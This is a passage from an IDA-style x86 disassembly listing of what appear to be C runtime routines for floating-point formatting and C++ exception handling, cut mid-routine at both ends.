sub_4218B2+Dj ; sub_4218B2+1Dj jmp sub_421874 sub_4218B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4218DB proc near ; CODE XREF: sub_41F69F+3CBp ; DATA XREF: sub_41C760+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41D74C cmp eax, 65h pop ecx jz short loc_42191B loc_4218EF: ; CODE XREF: sub_4218DB+3Ej inc esi cmp dword_43C504, 1 jle short loc_421908 movsx eax, byte ptr [esi] push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_421917 ; --------------------------------------------------------------------------- loc_421908: ; CODE XREF: sub_4218DB+1Cj movsx eax, byte ptr [esi] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 4 loc_421917: ; CODE XREF: sub_4218DB+2Bj test eax, eax jnz short loc_4218EF loc_42191B: ; CODE XREF: sub_4218DB+12j mov cl, byte_43C508 mov al, [esi] mov [esi], cl inc esi loc_421926: ; CODE XREF: sub_4218DB+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_421926 pop esi retn sub_4218DB endp ; =============== S U B R O U T I N E ======================================= sub_421935 proc near ; CODE XREF: sub_41F69F+3E2p ; DATA XREF: sub_41C760+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43C508 mov cl, [eax] test cl, cl jz short loc_421951 loc_421945: ; CODE XREF: sub_421935+1Aj cmp cl, dl jz short loc_421951 mov cl, [eax+1] inc eax test cl, cl jnz short loc_421945 loc_421951: ; CODE XREF: sub_421935+Ej ; sub_421935+12j mov cl, [eax] inc eax test cl, cl jz short locret_421982 loc_421958: ; CODE XREF: sub_421935+34j mov cl, [eax] test cl, cl jz short loc_42196B cmp cl, 65h jz short loc_42196B cmp cl, 45h jz short loc_42196B inc eax jmp short loc_421958 ; --------------------------------------------------------------------------- loc_42196B: ; CODE XREF: sub_421935+27j ; sub_421935+2Cj ... mov ecx, eax loc_42196D: ; CODE XREF: sub_421935+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42196D cmp [eax], dl jnz short loc_421978 dec eax loc_421978: ; CODE XREF: sub_421935+40j ; sub_421935+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_421978 locret_421982: ; CODE XREF: sub_421935+21j retn sub_421935 endp ; =============== S U B R O U T I N E ======================================= sub_421983 proc near ; DATA XREF: sub_41C760+28o ; ___:off_43C8B0o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427880 fnstsw ax sahf jb short loc_421998 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_421998: ; CODE XREF: sub_421983+Fj xor eax, eax retn sub_421983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42199B proc near ; CODE XREF: sub_420510+430p ; DATA XREF: sub_41C760+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4219C4 lea eax, [ebp+var_8] push eax call sub_424518 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4219C4: ; CODE XREF: sub_42199B+Cj lea eax, [ebp+arg_8] push eax call sub_424545 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42199B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219D9 proc near ; CODE XREF: sub_421C56+17p ; sub_421CA0+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DB310, 0 push ebx push esi jz short loc_421A0E mov ebx, [ebp+arg_8] mov eax, dword_4DB30C xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_421CF1 pop ecx pop ecx jmp short loc_421A46 ; --------------------------------------------------------------------------- loc_421A0E: ; CODE XREF: sub_4219D9+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_4245E9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424572 add esp, 14h loc_421A46: ; CODE XREF: sub_4219D9+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_421A52 mov byte ptr [eax], 2Dh inc eax loc_421A52: ; CODE XREF: sub_4219D9+73j test ebx, ebx jle short loc_421A6A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43C508 mov eax, edi pop edi mov [eax], cl loc_421A6A: ; CODE XREF: sub_4219D9+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DB310, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41BEB0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_421A91 mov byte ptr [ecx], 45h loc_421A91: ; CODE XREF: sub_4219D9+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_421AD6 mov ebx, [esi+4] dec ebx jns short loc_421AA5 neg ebx mov byte ptr [ecx], 2Dh loc_421AA5: ; CODE XREF: sub_4219D9+C5j inc ecx cmp ebx, 64h jl short loc_421ABC mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421ABC: ; CODE XREF: sub_4219D9+D0j inc ecx cmp ebx, 0Ah jl short loc_421AD3 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421AD3: ; CODE XREF: sub_4219D9+E7j add [ecx+1], bl loc_421AD6: ; CODE XREF: sub_4219D9+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_4219D9 endp ; =============== S U B R O U T I N E ======================================= sub_421ADD proc near ; CODE XREF: sub_421C7D+13p ; sub_421CA0+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DB310, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_421B18 mov eax, dword_4DB314 mov ebx, [esp+10h+arg_8] mov esi, dword_4DB30C cmp eax, ebx jnz short loc_421B48 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_421B48 ; --------------------------------------------------------------------------- loc_421B18: ; CODE XREF: sub_421ADD+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_4245E9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424572 add esp, 14h loc_421B48: ; CODE XREF: sub_421ADD+22j ; sub_421ADD+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_421B56 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_421B56: ; CODE XREF: sub_421ADD+70j mov eax, [esi+4] test eax, eax jg short loc_421B6D push 1 push edi call sub_421CF1 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_421B6F ; --------------------------------------------------------------------------- loc_421B6D: ; CODE XREF: sub_421ADD+7Ej add edi, eax loc_421B6F: ; CODE XREF: sub_421ADD+8Ej test ebx, ebx jle short loc_421BB4 push 1 push edi call sub_421CF1 mov al, byte_43C508 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_421BB4 cmp byte_4DB310, 0 jz short loc_421B99 neg esi jmp short loc_421B9F ; --------------------------------------------------------------------------- loc_421B99: ; CODE XREF: sub_421ADD+B6j neg esi cmp ebx, esi jl short loc_421BA1 loc_421B9F: ; CODE XREF: sub_421ADD+BAj mov ebx, esi loc_421BA1: ; CODE XREF: sub_421ADD+C0j push ebx push edi call sub_421CF1 push ebx push 30h push edi call sub_41B590 add esp, 14h loc_421BB4: ; CODE XREF: sub_421ADD+94j ; sub_421ADD+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_421ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BBB proc near ; CODE XREF: sub_421CA0+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_4245E9 mov dword_4DB30C, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DB314, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424572 mov eax, dword_4DB30C add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DB314, ecx setl cl mov byte_4DB318, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DB314, eax jl short loc_421C41 cmp eax, ebx jge short loc_421C41 test cl, cl jz short loc_421C32 loc_421C28: ; CODE XREF: sub_421BBB+72j mov al, [esi] inc esi test al, al jnz short loc_421C28 and [esi-2], al loc_421C32: ; CODE XREF: sub_421BBB+6Bj push ebx push [ebp+arg_4] push edi call sub_421C7D add esp, 0Ch jmp short loc_421C51 ; --------------------------------------------------------------------------- loc_421C41: ; CODE XREF: sub_421BBB+63j ; sub_421BBB+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_421C56 add esp, 10h loc_421C51: ; CODE XREF: sub_421BBB+84j pop edi pop esi pop ebx pop ebp retn sub_421BBB endp ; =============== S U B R O U T I N E ======================================= sub_421C56 proc near ; CODE XREF: sub_421BBB+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DB310, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4219D9 and byte_4DB310, 0 add esp, 10h retn sub_421C56 endp ; =============== S U B R O U T I N E ======================================= sub_421C7D proc near ; CODE XREF: sub_421BBB+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DB310, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_421ADD and byte_4DB310, 0 add esp, 0Ch retn sub_421C7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421CA0 proc near ; CODE XREF: sub_41F69F+3AAp ; DATA XREF: sub_41C760o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_421CDB cmp [ebp+arg_8], 45h jz short loc_421CDB cmp [ebp+arg_8], 66h jnz short loc_421CC8 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421ADD add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_421CC8: ; CODE XREF: sub_421CA0+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421BBB jmp short loc_421CEC ; --------------------------------------------------------------------------- loc_421CDB: ; CODE XREF: sub_421CA0+7j ; sub_421CA0+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4219D9 loc_421CEC: ; CODE XREF: sub_421CA0+39j add esp, 10h pop ebp retn sub_421CA0 endp ; =============== S U B R O U T I N E ======================================= sub_421CF1 proc near ; CODE XREF: sub_4219D9+2Cp ; sub_421ADD+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_421D14 push esi mov esi, [esp+8+arg_0] push esi call sub_41AFE0 inc eax push eax push esi add esi, edi push esi call sub_41CC90 add esp, 10h pop esi loc_421D14: ; CODE XREF: sub_421CF1+7j pop edi retn sub_421CF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D16 proc near ; CODE XREF: ___:0041C940p ; sub_41C9A9+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_421D2C call sub_4225B2 loc_421D2C: ; CODE XREF: sub_421D16+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_421D54 cmp dword ptr [esi+4], 0 jz short loc_421DAA cmp [ebp+arg_14], 0 jnz short loc_421DAA push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_42205D add esp, 10h jmp short loc_421DAA ; --------------------------------------------------------------------------- loc_421D54: ; CODE XREF: sub_421D16+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_421DAA cmp dword ptr [eax], 0E06D7363h jnz short loc_421D8E cmp [eax+14h], edi jbe short loc_421D8E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_421D8E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_421DAD ; --------------------------------------------------------------------------- loc_421D8E: ; CODE XREF: sub_421D16+4Aj ; sub_421D16+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_421DB1 add esp, 20h loc_421DAA: ; CODE XREF: sub_421D16+23j ; sub_421D16+29j ... push 1 pop eax loc_421DAD: ; CODE XREF: sub_421D16+76j pop edi pop esi pop ebp retn sub_421D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421DB1 proc near ; CODE XREF: sub_421D16+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_421DD1 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_421DD6 loc_421DD1: ; CODE XREF: sub_421DB1+16j call sub_4225B2 loc_421DD6: ; CODE XREF: sub_421DB1+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A mov esi, dword_4DB31C test esi, esi jz loc_421F28 mov eax, dword_4DB320 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424770 pop ecx test eax, eax pop ecx jnz short loc_421E2C call sub_4225B2 loc_421E2C: ; CODE XREF: sub_421DB1+74j cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A call sub_4225B2 loc_421E4A: ; CODE XREF: sub_421DB1+41j ; sub_421DB1+46j ... cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz loc_421F2D cmp [esi+14h], edi jnz loc_421F2D mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov ebx, eax loc_421E81: ; CODE XREF: sub_421DB1+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_421F18 cmp [ebx], edi jg short loc_421F0D cmp edi, [ebx+4] jg short loc_421F0D mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_421F0A loc_421EA6: ; CODE XREF: sub_421DB1+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_421ED7 loc_421EB8: ; CODE XREF: sub_421DB1+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_422000 add esp, 0Ch test eax, eax jnz short loc_421EE6 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_421EB8 loc_421ED7: ; CODE XREF: sub_421DB1+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_421EA6 jmp short loc_421F0A ; --------------------------------------------------------------------------- loc_421EE6: ; CODE XREF: sub_421DB1+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421F0A: ; CODE XREF: sub_421DB1+F3j ; sub_421DB1+133j mov edi, [ebp+var_10] loc_421F0D: ; CODE XREF: sub_421DB1+DEj ; sub_421DB1+E3j inc [ebp+var_4] add ebx, 14h jmp loc_421E81 ; --------------------------------------------------------------------------- loc_421F18: ; CODE XREF: sub_421DB1+D6j cmp [ebp+arg_14], 0 jz short loc_421F28 push 1 push esi call sub_422486 pop ecx pop ecx loc_421F28: ; CODE XREF: sub_421DB1+56j ; sub_421DB1+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421F2D: ; CODE XREF: sub_421DB1+37j ; sub_421DB1+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_421F53 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_421F58 add esp, 20h jmp short loc_421F28 ; --------------------------------------------------------------------------- loc_421F53: ; CODE XREF: sub_421DB1+180j jmp sub_42255C sub_421DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F58 proc near ; CODE XREF: sub_421DB1+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DB324, 0 push esi push edi jz short loc_421F89 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41C9CE add esp, 1Ch test eax, eax jnz short loc_421FFC loc_421F89: ; CODE XREF: sub_421F58+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov esi, eax loc_421FA5: ; CODE XREF: sub_421F58+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_421FFC cmp edi, [esi] jl short loc_421FF4 cmp edi, [esi+4] jg short loc_421FF4 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_421FCE cmp byte ptr [ecx+8], 0 jnz short loc_421FF4 loc_421FCE: ; CODE XREF: sub_421F58+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421FF4: ; CODE XREF: sub_421F58+57j ; sub_421F58+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_421FA5 ; --------------------------------------------------------------------------- loc_421FFC: ; CODE XREF: sub_421F58+2Fj ; sub_421F58+53j pop edi pop esi leave retn sub_421F58 endp ; =============== S U B R O U T I N E ======================================= sub_422000 proc near ; CODE XREF: sub_421DB1+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_422057 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_422057 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_422031 add ecx, 8 push ecx push edx call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_422053 loc_422031: ; CODE XREF: sub_422000+1Fj test byte ptr [esi], 2 jz short loc_42203B test byte ptr [edi], 8 jz short loc_422053 loc_42203B: ; CODE XREF: sub_422000+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_42204A test byte ptr [edi], 1 jz short loc_422053 loc_42204A: ; CODE XREF: sub_422000+43j test al, 2 jz short loc_422057 test byte ptr [edi], 2 jnz short loc_422057 loc_422053: ; CODE XREF: sub_422000+2Fj ; sub_422000+39j ... xor eax, eax jmp short loc_42205A ; --------------------------------------------------------------------------- loc_422057: ; CODE XREF: sub_422000+Bj ; sub_422000+14j ... push 1 pop eax loc_42205A: ; CODE XREF: sub_422000+55j pop edi pop esi retn sub_422000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42205D proc near ; CODE XREF: sub_421D16+34p ; ___:00422153p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278C8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42208F: ; CODE XREF: sub_42205D+8Aj cmp esi, [ebp+arg_C] jz short loc_4220E9 cmp esi, 0FFFFFFFFh jle short loc_42209E cmp esi, [edi+4] jl short loc_4220A3 loc_42209E: ; CODE XREF: sub_42205D+3Aj call sub_4225B2 loc_4220A3: ; CODE XREF: sub_42205D+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_4220BE push 103h push ebx push eax call sub_422510 loc_4220BE: ; CODE XREF: sub_42205D+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_4220DE ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_4220FB pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_4220DE: ; CODE XREF: sub_42205D+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42208F ; --------------------------------------------------------------------------- loc_4220E9: ; CODE XREF: sub_42205D+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42205D endp ; =============== S U B R O U T I N E ======================================= sub_4220FB proc near ; CODE XREF: sub_42205D+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_42210C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42210C: ; CODE XREF: sub_4220FB+Cj jmp sub_42255C sub_4220FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_422111 proc near ; CODE XREF: sub_421DB1+151p ; sub_421F58+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_422133 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_4222C2 add esp, 10h loc_422133: ; CODE XREF: sub_422111+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_42213F push edi jmp short loc_422142 ; --------------------------------------------------------------------------- loc_42213F: ; CODE XREF: sub_422111+29j push [ebp+arg_24] loc_422142: ; CODE XREF: sub_422111+2Cj call sub_41C8D0 sub_422111 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_42205D mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_42218C add esp, 2Ch test eax, eax jz short loc_422187 push edi push eax call sub_41C88E loc_422187: ; CODE XREF: ___:0042217Ej pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42218C proc near ; CODE XREF: ___:00422174p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DB31C mov [ebp+var_1C], ecx mov ecx, dword_4DB320 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DB31C, edi mov ecx, [ebp+arg_8] mov dword_4DB320, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41C955 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422252 mov eax, [ebp+var_2C] loc_422219: ; CODE XREF: sub_422232+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42218C endp ; =============== S U B R O U T I N E ======================================= sub_422228 proc near ; DATA XREF: ___:004278E8o push dword ptr [ebp-14h] call sub_422298 pop ecx retn sub_422228 endp ; =============== S U B R O U T I N E ======================================= sub_422232 proc near ; DATA XREF: ___:004278ECo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41CBB6 pop ecx pop ecx xor eax, eax jmp short loc_422219 sub_422232 endp ; --------------------------------------------------------------------------- loc_42224A: ; DATA XREF: ___:004278E0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422252 proc near ; CODE XREF: sub_42218C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DB31C, eax mov eax, [ebp-20h] mov dword_4DB320, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422297 cmp dword ptr [edi+10h], 3 jnz short locret_422297 cmp dword ptr [edi+14h], 19930520h jnz short locret_422297 cmp [ebp-24h], ebx jnz short locret_422297 cmp [ebp-2Ch], ebx jz short locret_422297 call sub_41CC1E push eax push edi call sub_422486 pop ecx pop ecx locret_422297: ; CODE XREF: sub_422252+1Cj ; sub_422252+22j ... retn sub_422252 endp ; =============== S U B R O U T I N E ======================================= sub_422298 proc near ; CODE XREF: sub_422228+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4222BF cmp dword ptr [eax+10h], 3 jnz short loc_4222BF cmp dword ptr [eax+14h], 19930520h jnz short loc_4222BF cmp dword ptr [eax+1Ch], 0 jnz short loc_4222BF push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4222BF: ; CODE XREF: sub_422298+Cj ; sub_422298+12j ... xor eax, eax retn sub_422298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4222C2 